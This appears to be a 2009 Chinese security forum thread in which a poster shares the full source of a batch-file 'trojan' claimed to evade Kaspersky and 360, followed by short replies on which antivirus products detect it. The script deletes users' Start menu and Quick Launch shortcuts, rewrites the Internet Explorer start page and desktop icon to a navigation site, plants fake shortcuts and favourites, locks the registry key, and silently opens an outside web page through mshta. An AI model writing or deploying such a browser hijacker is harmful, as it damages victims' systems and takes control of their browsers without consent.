能过卡巴和360安全卫士的木马 很邪恶

hddu

创建web.bat， web.bat内容：
ping 127.0.0.1 -n 600 >nul
del "%userprofile%\「开始」菜单\程序\*.lnk"
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\*.lnk"
@echo off
reg add "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\SHELL\OPENHOMEPAGE\COMMAND" /v "" /d "C:\Program Files\Internet Explorer\IEXPLORE.EXE "http://www.230go.com/?0910/"" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d "http://www.230go.com/?0910/" /f
@echo off
set lnkdir="%userprofile%\「开始」菜单\程序"
echo [InternetShortcut] >%lnkdir%\Internet" "Explorer.url
echo URL="http://www.230go.com/?0910/" >>%lnkdir%\Internet" "Explorer.url
echo IconFile="C:\Program Files\Internet Explorer\IEXPLORE.EXE" >>%lnkdir%\Internet" "Explorer.url
echo IconIndex=^0 >>%lnkdir%\Internet" "Explorer.url
@echo off
set lnkdir="%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch"
echo [InternetShortcut] >%lnkdir%\Internet" "Explorer.url
echo URL="http://www.230go.com/?0910/" >>%lnkdir%\Internet" "Explorer.url
echo IconFile="C:\Program Files\Internet Explorer\IEXPLORE.EXE" >>%lnkdir%\Internet" "Explorer.url
echo IconIndex=^0 >>%lnkdir%\Internet" "Explorer.url
@echo off
set lnkdir="%userprofile%\Favorites\"
echo [InternetShortcut] >%lnkdir%\爱上导航站" "中国人最喜欢用的网址导航站.url
echo URL="http://www.230go.com/?0910/" >>%lnkdir%\爱上导航站" "中国人最喜欢用的网址导航站.url
echo IconFile="C:\Program Files\Internet Explorer\IEXPLORE.EXE" >>%lnkdir%\爱上导航站" "中国人最喜欢用的网址导航站.url
echo IconIndex=^0 >>%lnkdir%\爱上导航站" "中国人最喜欢用的网址导航站.url
echo HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main [8] >%windir%\system32\regsets.ini
regini %windir%\system32\regsets.ini
mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://www.freekj.com/c2/post.html",0)(window.close)

[ 本帖最后由 hddu 于 2009-10-27 10:06 编辑 ]

鱼是一只我

费尔过了~

Dirk

TO AVIRA

sifazwc

aazz00

晕 看来还是诺顿不错？在期待其他测试，NOD32，还有微点！期待期待！！！看来我要换杀软了！卡巴太让我失望了！

kuqing_ren

微点报已知

post8

..........就凭一个病毒？？

abc20909

红伞不报。

dongsheng01

过NOd

aazz00

微点~还有诺顿都不错啊
！我在观察观察！实在不行我就换了！ 微点怎么是英文的？没中文吗？